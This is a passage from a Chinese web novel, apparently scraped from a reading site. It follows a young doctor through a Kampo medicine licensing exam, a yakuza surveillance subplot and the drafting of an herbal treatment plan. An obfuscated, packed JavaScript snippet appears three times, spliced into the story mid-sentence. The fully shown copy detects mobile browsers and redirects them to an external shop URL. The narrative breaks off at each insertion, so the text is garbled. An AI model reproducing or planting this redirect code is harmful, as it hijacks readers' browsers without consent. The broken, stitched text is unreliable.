评审,已不再是“是否举行”的问题,而是“如何举行,以及之后会如何”的问题。 而这场即将到来的评审,其意义和受到的关注度,恐怕将远超最初的预期。 周六上午,江起是被手机持续的震动吵醒的。 头痛欲裂,喉咙发干,是淋雨和高度紧张后的反应,他抓过手机,屏幕上有数个未接来电和未读信息。 有石田一郎的:【醒了回电。】 有柳莲二的:【江医生,听闻昨夜港区附近有严重事故,您是否安好?幸村君今日治疗是否需要顺延?】 还有几条陌生号码的短信,语气恭敬地表示是“昨夜事故相关方”,希望能约时间当面致谢,并请他提供银行账户信息以便支付“感谢金”。 江起先给石田一郎回了电话。 “江君,感觉怎么样?有没有发烧?” 石田一郎的声音带着难得的急切。 “有点头疼,没发烧,石田先生,您知道了?” “能不知道吗?” 石田一郎在电话那头叹了口气,语气复杂,“今天一早,我的电话就没停过,警视厅的朋友,协会里的人,甚至……算了。你昨晚救的人里,有身份非常特殊的,详细情况现在还不便多说,但你做的那些处置,尤其是用圆珠笔做气胸穿刺,已经被急救中心的人当成经典案例汇报上去了,你……” 他停顿了一下,似乎在组织语言:“你昨晚的行为,可能会极大地改变汉方资格评审的走向,现在反对的声音小了很多,甚至……可能很快就会有明确的进展,你这孩子,真是……” 他不知是感慨还是无奈,“好好休息,今天别来诊所了,如果有任何官方的人联系你,谨慎应对,必要时告诉我,另外,注意身体,别生病。” “是,谢谢石田先生。” 刚挂断,松田阵平的短信就进来了,时间显示是几分钟前,依旧简短:【听说昨晚港区的事是你?人没事?】 江起回复:【没事,淋了点雨。】 几乎是秒回:【嗯,好好休息,别乱跑。】 接着是萩原研二的信息,发送时间稍晚一些,大概是他从某个渠道得知了消息:【江君!我刚听说!你没事吧?!太厉害了!等你休息好了一起吃饭!给你压惊!】 江起一一回复。 放下手机,他走到窗边,阳光明媚,仿佛昨夜那场可怕的暴雨只是一场幻觉,但手机里新增的联系方式和信息,石田一郎语焉不详的提醒,都清晰地告诉他,那不是梦。 他救的人,身份恐怕非同小可。 这起车祸,就像一块巨石,砸进了原本只是微澜的池塘,激起的浪花,正以他无法预料的方式扩散。 周日下午,江起感觉身体恢复了不少,决定去诊所一趟,处理一些积压的记录。 刚到诊所门口,就看见一辆黑色样式低调,但质感高级的轿车停在路边,车前站着一位穿着深色西装,身姿笔挺、气质精悍的中年男子。 看到江起,男子立刻迎了上来,微微鞠躬,姿态恭敬标准:“请问是江起医生吗?” “我是,您是?” “失礼了,我姓杉本,来自宫内厅。”男子声音平稳,但目光锐利,带着审视,也有一丝不易察觉的感激,“关于周五晚上的事故,我奉命前来,向您转达最诚挚的谢意,您及时的救助,为……那位赢得了至关重要的抢救时间,目前那位已脱离生命危险,正在康复中,这份恩情,我们铭记于心。” 江起心中了然,他面色平静地回应:“您太客气了,我只是做了该做的事,贵人平安就好。” 杉本深深看了他一眼,似乎对他冷静的态度有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江起抬眼,小泉教授,那位反对最激烈的人。 “他主动要求加入评审委员会。”石田一郎转过身,看着江起,目光深邃,“他说,他想亲眼看看,一个能在暴雨夜里用圆珠笔做气胸穿刺、救下重要人物的年轻人,在汉方药学的考场上,又能拿出什么样的表现,是名副其实,还是……昙花一现。” 压力,非但没有因为来自高层的支持而减少,反而以一种更具体、更尖锐的方式,压了下来。 小泉教授不再是模糊的反对派代表,而将成为坐在他对面的考官之一,他的认可,将具有极强的说服力,反之,他的否定,也将更加致命。 “我明白了。”江起的声音平静无波,该来的总会来,而这一次,他不仅是为了资格,似乎也为了某种……证明。 “去准备吧,江君。”石田一郎拍了拍他的肩膀,“让所有人,都看清楚你的本事。” 江起回到自己的休息室,关上门,窗外阳光正好。 他将那张素雅的名片和支票放进钱包最内侧的夹层,然后,摊开厚厚的笔记本,拿起笔,目光落在那些复杂精妙的方剂和药材名称上。 23.第 23 章 周三,晴。 汉方医药协会大楼,坐落在东京都文京区一处安静,而富有学术气息的街区,建筑古朴庄重,门口悬挂着协会的徽记。 上午九点四十分,江起站在大楼前,他今天穿着一身熨帖的深灰色西装,里面是白色衬衫,没打领带,显得稳重而不失年轻人的清爽,手里提着一个深棕色的皮质公文包,里面整齐地码放着几本他常用的古籍影印本、笔记,以及石田一郎为他准备关于本次评审流程的正式文件。 阳光很好,但他的心情却异常平静,甚至有些过于平静,昨晚他睡得出奇地安稳,没有预想中的紧张或亢奋。 走进大楼,向前台说明来意。 接待人员显然已提前得到通知,恭敬地将他引至五楼的一间小型会议室门外。 “江起先生,评审委员会正在里面准备,请您在此稍候,评审将于十点整准时开始。” “谢谢。”江起点点头,在门外的长椅上坐下。 走廊里很安静,只有远处隐约的脚步声和低语,他能感觉到,从踏入这栋大楼开始,自己就处于某种无形的注视之下。 这不奇怪,今天的评审,恐怕牵动着不少人的神经。 九点五十五分,会议室的门从里面打开,一位穿着协会制服的工作人员探出身来:“江起先生,请进。” 江起起身,整理了一下西装下摆,深吸一口气,迈步走了进去。 会议室比他想象的要大,光线明亮。 正前方是一张铺着墨绿色桌布的主席台,后面坐着五个人。 正中是一位头发花白,面容清癯严肃,戴着金丝边眼镜的老者,正是之前反对最激烈的小泉教授,他左右两侧,分别坐着两位气质各异的委员,有年长的,也有中年的,男女皆有,此刻都目光炯炯地看向江起。 石田一郎并不在评审席上,他作为推荐人和利害关系人,需要回避。 主席台侧前方,单独摆放着一张桌子和椅子,显然是给江起准备的,桌上有纸笔和一瓶水。 “江起君,请坐。”小泉教授的声音平稳,听不出太多情绪,他指了指那张单独的座位。 “谢谢各位委员。”江起微微欠身,走到座位前坐下,将公文包放在脚边,腰背挺直,双手自然地放在桌面上。 “我是小泉文雄,本次特例评审委员会的主席。”小泉教授介绍道,然后依次介绍了其他四位委员,有来自国立大学药学部的中药化学专家,有资深汉方临床医师,有药剂师协会的代表,还有一位是负责法规事务的协会理事。 阵容专业且全面,涵盖了理论、临床、药学和法规所有层面。 “首先,我代表委员会,对你此前在紧急医疗救助中展现出的专业素养,和勇气表示敬意。”小泉教授的开场白出乎意料地带着肯定,但随即话锋一转,目光锐利如刀,“但今天的评审,与急救无关,今天,我们要考察的,是你作为一名潜在的传统医学药物应用者,是否具备足够的知识深度、判断力、责任感,以及对汉方医学精髓的真正理解。 评审分为三个部分:笔试、实操辨识与口试答辩,全程会有记录。你明白吗?” “我明白。”江起迎着他的目光,平静地回答。 “好,那么现在开始第一部分,笔试,时间九十分钟,题目涵盖汉方基础理论、方剂学、中药学、配伍禁忌、临床常见问题处理及法规伦理,可以开始了吗?” “可以。” 试卷被传递过来。 厚厚一叠。江起快速浏览了一遍。 题目果然刁钻,不仅考察经典原文的记忆(如《伤寒论》、《金匮要略》特定条文的默写与阐释),更多是灵活的临床应用和辨析题。 例如:“患者女,35岁,产后三月,自汗盗汗,心悸失眠,面色无华,舌淡脉细弱。前医用归脾汤效不显,反增腹胀,请分析可能原因,并重新拟方,阐述思路。” 这需要对方剂组成、药性、体质辩证有极深的理解。 江起拿起笔,略一沉吟,便开始作答。 脑海中,浩如烟海的方剂学知识和临床经验被迅速调取、比对、分析。 他下笔很快,但字迹工整,论述条理清晰,引用经典恰到好处,对药性的分析入木三分。 遇到某些涉及稀有药材或冷僻配伍的题目时,系统知识库中那些超越普通教材的细节便会自然浮现,被他巧妙地融入答案,既显示功底,又不显得突兀。 会议室里只剩下笔尖划过纸张的沙沙声,和偶尔委员们低声交谈、翻阅资料的声音。 小泉教授的目光不时落在江起身上,观察着他的表情和答题速度。 时间一分一秒过去。 江起答完了最后一题,检查一遍,在八十分钟时放下了笔。 “答完了?”负责计时的工作人员有些惊讶。 “是。”江起将试卷递过去。 试卷被收走,几位委员开始传阅。 小泉教授拿着最后几页,看得尤其仔细,眉头时而微蹙,时而松开,手指在某几行字下面轻轻划过。 短暂的休息后,第二部分开始。 工作人员推上来一辆摆满各种中药材的小车,以及一套常用的炮制工具和戥子。 “实操辨识。这里有二十种药材,部分经过炮制,部分为生品,请你在十五分钟内,写出它们的名称、主要产地(道地性)、性味归经、主要功效,并指出其中任意三种可能存在的伪劣品鉴别要点,以及两种你认为炮制不当的药材及理由。”一位中药学专家委员说道。 这是真功夫。 不仅考眼力、嗅觉、手感,更考对药材性状和炮制火候的极致把握。 江起起身,走到小车前。 当他凝神观察那些药材时,视野中浮现出淡淡的辅助信息,并非直接给出答案,而是强化了他对药材细节特征的捕捉,比如某块“茯苓”的断面纹理略显松散,不符合优质茯苓“体重质坚,断面细腻”的特点;某份“炙甘草”的蜜炙火候似乎稍过,颜色偏深,可能有焦苦味。 他动作沉稳,依次拿起药材,看、闻、摸,甚至少量尝味(在允许范围内),然后快速在答题纸上记录,他的判断又快又准,书写流畅。 在指出伪劣和炮制问题时,不仅说出了现象,还简要解释了为何如此会影响药效,甚至提到了古籍中记载的鉴别歌诀。 几位委员,特别是那位中药专家,眼中的惊讶之色越来越浓。 江起展现出的,不仅仅是知识储备,更是一种本能地对药材的“感觉”,这通常是数十年经验的老药工或药师才具备的。 实操部分结束,江起再次回到座位。 他能感觉到,评审室内的气氛发生了一些微妙的变化,少了几分最初的审视,多了些认真的探究。 “最后一部分,口试答辩。”小泉教授推了推眼镜,目光直视江起,“我们会提出几个临床情景和理论问题,请你现场回答,没有标准答案,我们看重的是你的思维过程、辨证逻辑和临场应变。” “是。” 提问开始。 问题一个比一个尖锐,一个比一个深入。 从“麻黄汤与桂枝汤在太阳病应用中的关键区别与误用后果”,到“如何看待‘十八反’、‘十九畏’在现代临床中的指导意义与灵活运用边界”,再到“面对一例西医诊断明确但治疗无效的疑难杂症(如某种自身免疫性疾病),你如何运用汉方思维进行切入和拟方”。 江起全神贯注,思维高速运转,他不再仅仅依赖系统,而是将系统提供的海量知识、前沿视角,与自己这段时间的苦读、思考以及之前处理手冢、幸村病例的实际经验彻底融合,形成自己独特的回答。 他引经据典,但绝不迂腐,分析病理,逻辑清晰,拟方用药,大胆而谨慎,每每能在常规思路外,提出一两个令人耳目一新却又合情合理的加减或配伍思路,让几位委员忍不住低声交流,甚至偶尔追问细节。 尤其是当小泉教授亲自抛出一个极其复杂的虚拟病例——一位老年患者,多病缠身(高血压、糖尿病、慢性心衰、肾功能不全),又新发顽固性失眠和抑郁状态,西药治疗效果差且副作用明显,要求江起谈谈调理思路时,整个评审达到了高潮。 江起没有急于回答,而是闭目沉思了片刻,然后缓缓开口。 他从“整体观念”和“治病求本”出发,先分析患者诸病背后的核心病机(如肝肾阴虚、心肾不交、痰瘀互结),提出治疗需分阶段、有主次,不能面面俱到而方药杂投。 设想了一个以“滋养肝肾、交通心肾、辅以化瘀祛痰”为核心的基础方思路,并详细说明了如何根据患者实时状况调整药物和剂量,如何与西药协同(规避相互作用),甚至谈到了药膳调理和心理疏导的配合。 他的阐述不仅体现了深厚的汉方底蕴,更展现了一种超越年龄的全局观和临床智慧。 当他讲完,会议室里安静了片刻。 小泉教授深深地看了江起一眼,然后垂下目光,看向自己面前的笔记本,手指无意识地敲击着桌面。 其他几位委员也神色各异,但之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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评审的过程、委员们的反应、尤其是小泉教授最后那个复杂的眼神,在他脑中回放。灰衣人的身影也再次浮现。 他知道,无论评审结果如何,今天之后,他在汉方医学这个圈子里的“存在感”,将完全不同。 如果通过,他将获得梦寐以求的“武器”,可以真正开始施展拳脚,如果不通过……恐怕也会因为今天的表现,成为许多人关注和讨论的焦点。 咖啡的苦味在舌尖蔓延。 窗外,东京的午后一如往常地繁忙,行人匆匆,车流如织。 就在这时,咖啡馆的电视上,午间新闻的播报声吸引了他的注意,女主播用清晰而略带急促的声音报道:“……插播一条最新消息。 今日上午,警视厅组织犯罪对策部与搜查一课联合行动,在东京都内多处地点,对涉嫌暴力、走私及违禁药物交易的山口组系□□团体‘村上组’展开集中清查逮捕行动。 据悉,此次行动源于数月前一名公安警官,遭该组织成员袭击重伤事件的深入调查……目前行动仍在进行中,已有多名组织成员落网……” 公安警官遭袭击重伤……江起端着咖啡杯的手几不可查地顿了一下,是k的那件事吗?松田他们所在的部门参与了?行动是今天上午,也就是他评审的时候……是巧合,还是有意选在这个时间? 新闻画面切换,出现了警车和警察押着戴手铐的嫌犯上车的模糊镜头,江起看着屏幕,眼神深邃。 东京的午后阳光依旧明媚,但在这明媚之下,有些东西正在被打破,有些东西正在被挖掘出来。 而他,似乎正站在所有这些明流与暗流的交汇处。 手机又震动了一下,这次是加密通讯器连接手机后的特殊提示音,江起眼神一凝,迅速拿出那个小巧的设备,插上耳机,走进咖啡馆的洗手间。 耳机里传来经过处理的、低沉而急促的声音,是松田阵平: “听着,计划有变,‘清扫’比预想顺利,但捞到几条意外的‘杂鱼’,其中一条,可能和你有点‘眼缘’,自己最近多注意周围,尤其是‘旧识’,另外,你那边‘考试’完了就赶紧回诊所,石田先生在等你,有东西给你看。” 信息播放完毕,通讯自动切断。 杂鱼?眼缘?旧识? 江起立刻想到了那个灰衣人。难道他被抓了?还是他所属的势力被牵连了?松田说的“旧识”是什么意思?难道灰衣人之前就认识自己?不可能啊…… 还有,石田先生有东西给他看?和今天的评审有关,还是和这突然的扫黑行动有关? 江起收起东西,快速结账离开咖啡馆,拦下一辆出租车,报出石田诊疗所的地址。 24.第 24 章 出租车在石田诊疗所门前停下,江起付钱下车,动作比平时快了几分。 诊所的自动门滑开,他快步走入,前台的小林护士抬头看到他,立刻站起身,表情有些不同寻常的严肃,还带着一丝不易察觉的紧张。 “江医生,您回来了。石田先生在楼上办公室等您,吩咐您一回来就立刻上去。”小林护士语速很快,声音压得较低。 “知道了。”江起点头,没有多问,径直走向楼梯,他能感觉到诊所里的气氛有些凝滞。 二楼,所长办公室的门虚掩着。 江起敲了敲门,里面传来石田一郎低沉的声音:“进来。” 推门进去,江起微微一怔。 办公室里不止石田一郎一人,松田阵平靠在对面的书柜旁,双手插在西装裤兜里,墨镜后的脸看不出什么表情,但站姿透着一股紧绷的锐利。 萩原研二则坐在江起常坐的那把椅子上,脸上惯常的轻松笑容不见了,取而代之的是一种罕见的凝重,看到江起进来,他点了点头,眼神里有关切,也有一丝复杂的探究。 石田一郎坐在办公桌后,面前的桌面上摊开放着几份文件和一个牛皮纸档案袋,他的神色是江起从未见过的严峻,金丝边眼镜后的目光锐利如手术刀。 “江君,回来了,评审过程如何?”石田一郎开口,语气平稳,但问题直指核心。 “尽力而为,感觉……委员们的问题很深入,我回答得还算顺畅,结果要等委员会合议。”江起简明扼要地回答,目光扫过松田和萩原,“松田警官,萩原警官,你们这是……” “有点事,和你,也和我们手头的一个案子,可能有点关联。”松田阵平直起身,从书柜边走过来,言简意赅,“上午的行动,捞到几条杂鱼,其中有一条,嘴巴不严,吐了点有意思的东西出来。” 萩原研二接口,声音比平时低沉:“那家伙是‘村上组’的一个中层小头目,负责一些见不得光的‘运输’和‘安保’业务,他交代,大概一个多月前,也就是K那件事前后,他接到过一个奇怪的‘私活’。 不是组里的任务,是上面有人通过特殊渠道,指名道姓让他去‘观察’一个人,定期汇报动向,但明确要求不准接触,不准惊动,更不准动粗,报酬很高,用的是境外不记名账户。” 江起的心慢慢沉了下去,一个多月前,K出事前后……观察…… “他们要观察的人,是我?”江起的声音很平静。 松田阵平看着他,点了点头,从桌上拿起一张从档案袋里抽出的照片,递到江起面前。照片有些模糊,像是监控截图,但能清晰辨认出,是在高田马场他公寓附近的路口,一个穿着灰色连帽衫、低着头匆匆走过的身影。 虽然看不到正脸,但那身形,那走路的姿态…… 是那个灰衣人。 “根据那家伙的供述和我们的交叉比对,基本可以确定,就是这个人在执行对你的‘观察’任务。”萩原研二指着照片,“从风见出事那晚开始,到你学校、诊所、甚至前几天车祸现场附近,都有他或他手下其他眼线的活动痕迹。 他们的观察记录很详细,包括你的作息规律、常去地点、接触的人,但……很奇怪,没有任何试图接触或不利的举动,真的就只是‘看’。” 只是观察?江起皱起眉头,这不符合常理。 如果是□□报复,或者组织灭口,何必如此大费周章只观察不动手?如果是警方或公安的暗中保护,松田他们不会不知道。 “指派任务的人,查到了吗?”江起问。 松田阵平摇头,语气带着冷意:“没有,渠道非常隐蔽,是单线联系,用的是一次性加密通讯,付钱账户也查不到源头。 那个小头目只知道对方能量很大,语气不像道上的人,反而……有点官僚腔,他接活也是因为对方给的实在太多,而且只是‘看’,没什么风险。” 官僚腔?能量很大?只是观察? 江起和石田一郎交换了一个眼神。 石田一郎缓缓开口:“这就和另一条线对上了。”他指了指桌上另一份文件,“今天评审结束后,我接到了小泉教授亲自打来的电话。” 江起、松田、萩原的目光瞬间集中过来。 “他说了什么?”江起问。 “他先是以个人名义,对你今天的表现表示了高度赞赏,他说,你的理论基础之扎实,对方剂药物理解之深刻,尤其是临场辨证时展现出的那种……近乎本能的灵感和超越框架的思维,是他近二十年来在年轻一代中仅见。”石田一郎复述着,语气中也带着一丝不可思议,“他甚至用了‘惊艳’这个词。” 办公室内安静了一瞬,能得到那位以严苛古板著称的小泉教授如此评价,其分量可想而知。 “然后呢?”萩原研二追问。 “然后,他说,评审委员会内部已经达成初步共识,你的能力完全足以破格获得资格,正式的认定文件,最快明天下午就能走完流程送达。” 石田一郎顿了顿,话锋一转,“但是,他也透露了一个信息。在评审启动和推进过程中,除了我、目暮警部以及柳家的推动,协会高层还承受了来自‘其他方面’的、相当明确的压力。 这种压力并非施压,更像是一种……‘高度关注’和‘乐见其成’的暗示,压力源,指向的层面……很高。” 很高……联想到“宫内厅”的杉本,联想到“官僚腔”和“能量很大”……许多碎片似乎开始拼凑。 “小泉教授还暗示,”石田一郎看着江起,目光深邃,“那位在车祸中被你所救的‘贵人’,其家族在得知你正在申请汉方资格后,通过某种方式,表达了非常明确的,希望此事顺利推进的意愿,这或许解释了,为什么某些顽固的反对声音,会在最后关头迅速消退。” 江起沉默,原来如此。 一场雨夜的车祸,一次本能的急救,竟然像一块巨石,投入了他原本只是微澜的生活,激起的涟漪层层扩散,最终以这样一种方式,反馈到了他最迫切需要的资格评审上。命运的安排,有时真是难以预料。 “所以,那个灰衣人……”萩原研二摸着下巴,“会不会是‘贵人’那边,或者‘高层关注’方,派来暗中评估江君人品和心性的?毕竟要破格授予这么重要的资格,还要动用高层关系,对方肯定想确保这个人值得投资,不是个沽名钓誉或者心术不正之徒。” 这个推测合情合理,只是观察,不动手,记录详细……更像是一种长期、隐蔽的“背景调查”和“品行评估”。 灰衣人眼中的“疑惑”和“探究”,或许是在观察江起日常行为中,试图理解这个年轻人为何拥有如此医术,心性究竟如何。 “可能性很大。”松田阵平下了结论,语气依旧冷静,“如果是这样,那这条线暂时可以放一放,对方没有恶意,甚至可能是助力,但……”他看向江起,警告意味明显,“这也意味着,你从现在起,真正进入了一些‘大人物’的视野,以后行事,更要谨慎,你治病的对象,你接触的人,甚至你说的话,都可能被从不同角度解读。” 江起深吸一口气,点了点头,他明白松田的意思,获得资格和潜在的庇护是好事,但随之而来的,是更复杂的棋局和更无形却沉重的目光。 “我明白了。”江起说,然后看向石田一郎,“石田先生,资格如果确定,我什么时候可以开始……” 他的话被一阵急促的敲门声打断,小林护士推开门,脸色有些发白,手里拿着一部无线座机:“所长,协会事务局的紧急电话,指名找您和江医生。” 石田一郎接过电话:“我是石田……嗯,我是……什么?现在?……我明白了,好,我们等。” 他放下电话,看向房间内的三人,表情极为古怪,混合着惊讶、恍然和一丝凝重。 “是协会事务局长,他说,关于江君的特例汉方药应用资格认定,委员会在刚刚结束的紧急合议后,已经全票通过,认定书正在加急制作。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933421|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好消息!但石田一郎的表情说明事情没这么简单。 “但是,”石田一郎果然话锋一转,“认定有一个附加条件,或者说,一个‘试点性临床验证项目’,委员会,以及关注此事的……某些方面,希望江君在获得资格后,立即在诊所内,在我的全面监督下,开展一次高标准、完整的‘针药并用’临床实践,病例……他们指定了幸村精市君。” 江起瞳孔微微一缩,指定幸村?这是要将他的资格,直接与幸村这个最复杂、也最受关注的病例捆绑验证! “他们要求,江君必须在三天内,提交一份针对幸村君当前病情,详细的汉方药治疗方案,经我审核后,正式开始治疗。 治疗全过程需要详细记录,包括用药、针灸、患者反应、各项指标变化等,这些记录,将作为此次特例资格实际成效的‘验证报告’,提交协会备案,并可能供……‘相关方面’查阅。” 石田一郎的声音很沉,“这既是对你能力的终极考验,也是将你和幸村君的康复,彻底绑在了一起。成功,皆大欢喜,你的资格将稳如磐石,甚至可能获得更多资源倾斜,如果效果不显,或者出现任何问题……” 后果不言而喻,资格可能被重新评估,刚刚获得的一切关注和便利也可能化为乌有,甚至可能连累石田诊所和幸村精市本人。 压力,如山般压下。 但江起眼中,却骤然燃起两簇明亮的火焰,不是恐惧,而是跃跃欲试的锋芒。 终于,可以真正开始了!那些在脑海中盘旋了无数遍的方剂,那些关于“痿证”治疗的深层思考,终于有了用武之地! “我接受。”江起的声音斩钉截铁,没有丝毫犹豫,“三天内,我会提交完整的方案。” 石田一郎看着他眼中那不容错辨的决心和自信,严肃的脸上终于露出一丝欣慰的笑意。“好。诊所里所有资源,随你调用,需要什么特殊药材,立刻告诉我,我去想办法。” 松田阵平看着江起,嘴角几不可查地扯了一下,似乎想说什么,最终只是拍了拍他的肩膀:“有事说话。” 萩原研二也恢复了点笑容,比了个加油的手势。 “对了,”石田一郎补充道,“协会那边,小泉教授个人还提了个建议,他说,如果你在制定方案时,对某些古籍中记载但现已罕用、或药性难以把握的药材有想法,可以提出来,他认识几位国宝级的老药工和药材收藏家,或许能提供一些帮助。” 这简直是雪中送炭! 江起心中一动,他系统知识库中,确实有一些针对神经修复有奇效,但现代已极少应用或难以获取的冷僻药材和炮制方法。 “谢谢石田先生,也请替我谢谢小泉教授,我确实需要查阅一些特殊资料,可能还需要一些非常规的药材。”江起迅速进入状态。 “去吧,小林会配合你,从今天起,诊所二楼最里面的那间带保密柜的资料室,和旁边的静室,归你专用。”石田一郎大手一挥。 江起不再耽搁,对松田和萩原点点头,转身大步离开了办公室,他的背影挺拔,步伐坚定,带着一股即将奔赴战场的锐气。 看着他离开,办公室内安静了片刻。 “这小子……”萩原研二笑着摇头,“还真是沉得住气,也拼得出去。” “他没得选。”松田阵平淡淡道,走到窗边,看着楼下街道,“也不想选,这条路,是他自己挑的。” 他顿了顿,像是自言自语,又像是对石田一郎说,“不过,被这么多人盯着,是福是祸,还真说不准。” 石田一郎沉默地整理着桌上的文件,将那份关于灰衣人和“村上组”的档案袋锁进抽屉。 “是福是祸,取决于他能走到哪一步,能治好人,也能……保护好自己,我们这些老家伙,能做的,也就是尽量替他扫清点障碍,看着点风雨了。” 松田阵平“嗯”了一声,没再说话。 窗外,夕阳西下,将东京的天空染成一片壮丽的橙红。 25.第 25 章 石田诊疗所二楼最里侧,原本用于存放珍贵古籍,和稀有药材样本的“静室”,此刻门户紧闭。 厚重的实木门隔绝了走廊的一切声响,只有头顶无影灯投下明亮柔和的光线。 室内空气干燥,弥漫着陈年纸张、檀木和多种药材混合的独特气息,静谧得能听到自己的心跳。 江起站在一张宽大的红木书案前,案上摊满了资料。 左侧是幸村精市历次的病历、检查报告、影像资料,以及柳莲二整理的、详尽的症状变化记录和康复数据。 右侧,则是数本摊开的厚重线装书——《黄帝内经素问》、《伤寒论》、《金匮要略》的宋本影印册,还有《本草纲目》及几本日本江户时期汉方医家的手札。 正前方,是一叠全新的稿纸,旁边放着研好墨的砚台和一支狼毫小楷。 他没有立刻动笔,而是闭上眼,深深吸了一口气。 室内安静,带着书卷和药香的空气涌入肺腑,让他高速运转了一天的大脑缓缓平静下来,进入一种高度专注的“入定”状态。 脑海中,关于幸村精市的所有信息。 苍白的脸色、微弱的脉象、指尖的麻木、行走时节省体力的姿态、眼中深藏的坚韧与疲惫、以及检查时感知到的那种弥漫性虚弱与阻滞感——如同全息影像般重新浮现,纤毫毕现。 与此同时,沉寂许久的“神医系统”知识库,仿佛被这个特定的病例和目标彻底激活。 不再是被动地提供信息碎片或急救提示,而是如同一个庞大的、精密的智库,开始围绕“痿证(格林巴利综合征恢复期)”、“气血大虚、肝肾不足、经络瘀阻、肌肉筋脉失养”这个核心病机,进行海量信息的关联、筛选、推演。 无数治疗痿证的古今方剂、验案、用药心得,如同星河般在他意识中流淌。 有常见的补阳还五汤、虎潜丸、圣愈汤,也有许多生僻甚至近乎失传的古方,如《外台秘要》中记载的滋筋养血汤,宋《太平惠民和剂局方》里的麝香丸(并非现代通窍醒神之用,而是有特定配伍治疗“风痿”),甚至还有一些仅见于某些医家孤本手札、配伍极其精妙大胆的私人方剂。 系统不仅提供了方剂组成,更附带有历代医家应用这些方剂时的加减化裁思路、针对不同变证(偏于阴虚、偏于阳虚、兼有痰湿、兼有瘀血等)的调整策略,以及许多药物之间精微的相互作用和剂量把控的“心法”。 这不再是简单的知识灌输,而是一种更高层次的“启示”和“赋能”。 系统仿佛一位跨越时空的导师,将千百年来无数医家治疗类似病症的经验、教训、灵光一闪的妙想,全部呈现出来,供江起汲取、甄别、融合,最终形成他自己独一无二的治疗方案。 时间在静室中无声流逝。 他首先明确了治疗的核心法则:“峻补元气,滋养肝肾,化瘀通络,醒神振痿”。 幸村的病,本质是大病耗伤,元气衰惫,肝肾精血亏虚,导致筋骨失养,加之久病入络,必有瘀滞。 常规的缓缓补益,力量不足,难以撼动沉疴。必须用重剂,用巧方,集中优势“兵力”,直捣核心。 他提笔,在稿纸上写下第一个方名:“复元振痿汤”(自拟方)。 接着,他开始配伍。 君药,他毫不犹豫地选择了野山参,而且是高年份的林下参。 大补元气,固脱生津,为诸药之帅。 “元气足,则脏腑有所禀,气血有所生,经络有所通。” 系统知识中,关于不同产地、不同年份人参在补气力道和偏性上的细微差别,让他对药材的选择有了近乎苛刻的标准。 臣药,一组滋补肝肾、强筋健骨。 他选了熟地黄、枸杞子、山茱萸滋补肾阴,填精益髓;用杜仲、续断、骨碎补(经特殊酒炙)强筋骨,通血脉。 另一组,益气养血、健脾助运。用炙黄芪(蜜炙,量重)、炒白术、茯苓、当归。 脾胃为后天之本,气血生化之源,必须夯实。 佐药,是方子的精髓所在,也是体现他超越常规思路的地方,他用了三七、鸡血藤活血化瘀,通经活络,针对“久病入络”的瘀滞。 更重要的是,他加入了两味在现代神经疾病治疗中不常用,但在古籍和系统提示中,对“痿废不用”有特殊疗效的药物:一是稀莶草,祛风湿,利关节,尤其善治四肢麻痹、筋骨不利;二是伸筋草,舒筋活络,除湿消肿,对于缓解筋脉拘挛、关节屈伸不利有奇效。 这两味药的加入,使得方剂在补益的同时,具备了强大的“疏通”和“激活”筋络的能力。 使药,他斟酌再三,写下怀牛膝。 引药下行,直达腰膝下肢,同时本身也有补肝肾、强筋骨、活血通经之效。 一个大方初具雏形。 但江起停下笔,凝视着方子,总觉得还差一点什么,补益、疏通都有了,但还缺一股“醒神振颓”、激发身体深层修复潜能的“灵动”之力。 幸村的精神意志足够坚韧,但他的身体,尤其是受损的神经,需要一种更强烈的“信号”来唤醒。 他再次闭目,意识沉入系统的知识汪洋,无数药材信息掠过,突然,几个名字和相关的记载如同被聚光灯照亮: “麝香”——开窍醒神,活血通经,散结止痛。 古方中用于治疗“中风瘫痪”、“痿痹不仁”,但现代因其稀缺和管控,极少应用。 系统提示,微量麝香(天然,真品)入药,对唤醒神经功能、促进神经修复有不可思议的奇效,关键在于剂量和配伍的精准控制,多则耗气,少则无效。 制马钱子(炮制极其严格,毒性大,但通络止痛、散结消肿力强,对顽固性肢体麻木、拘挛疼痛有效,同样是双刃剑,需与益气养血药同用,并严格控制剂量和煎服法)。 鹿茸,用以峻补肾阳,益精填髓,强健筋骨。 对于大病久虚、精血耗竭者,乃“扶正固本”之要药,能显著提高机体免疫和修复能力。 江起猛地睁开眼,眼中精光闪动。 就是它们!但这三味药,尤其是前两味,使用起来风险极高,对药材品质、炮制工艺、剂量把握、乃至煎药方法都有极端苛刻的要求,稍有不慎,非但不能治病,反而可能加重病情甚至导致中毒。 而且,麝香和马钱子,以他目前的资格和诊所条件,获取和使用的程序极其复杂。 他坐回案前,没有立刻将这些药加入方中,而是另起一页,开始详细书写关于这三味“特殊药材”的使用必要性论证、风险评估、剂量精确控制方案(精确到毫克)、炮制与煎煮的特殊要求、可能出现的反应及应对预案。他写得很慢,每一个字都反复斟酌,引经据典,逻辑严密。 这不再仅仅是处方,更像是一份详尽的科研开题报告和风险控制方案。 写完这三味特殊药物的附录,窗外的天色已经彻底暗了下来,静室内亮着灯,如同孤岛。 